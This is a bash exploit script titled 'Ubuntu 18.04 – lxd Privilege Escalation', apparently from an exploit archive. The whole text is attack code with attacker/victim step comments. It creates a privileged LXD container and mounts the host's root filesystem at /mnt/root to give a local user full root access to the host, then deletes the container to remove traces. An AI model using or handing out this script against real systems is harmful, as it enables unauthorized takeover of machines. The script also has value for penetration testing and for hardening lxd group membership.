Ubuntu 18.04 – ‘lxd’ Privilege Escalation
#!/usr/bin/env bash # ---------------------------------- # Authors: Marcelo Vazquez (S4vitar) # Victor Lasa (vowkin) # ---------------------------------- # Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine] # Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine] # Step 3: Run this script and you will get root [Victim Machine] # Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine function helpPanel(){ echo -e "\nUsage:" echo -e "\t[-f] Filename (.tar.gz alpine file)" echo -e "\t[-h] Show this help panel\n" exit 1 } function createContainer(){ lxc image import $filename --alias alpine && lxd init --auto echo -e "[*] Listing images...\n" && lxc image list lxc init alpine privesc -c security.privileged=true lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true lxc start privesc lxc exec privesc sh cleanup } function cleanup(){ echo -en "\n[*] Removing container..." lxc stop privesc && lxc delete privesc && lxc image delete alpine echo " [√]" } set -o nounset set -o errexit declare -i parameter_enable=0; while getopts ":f:h:" arg; do case $arg in f) filename=$OPTARG && let parameter_enable+=1;; h) helpPanel;; esac done if [ $parameter_enable -ne 1 ]; then helpPanel else createContainer fi |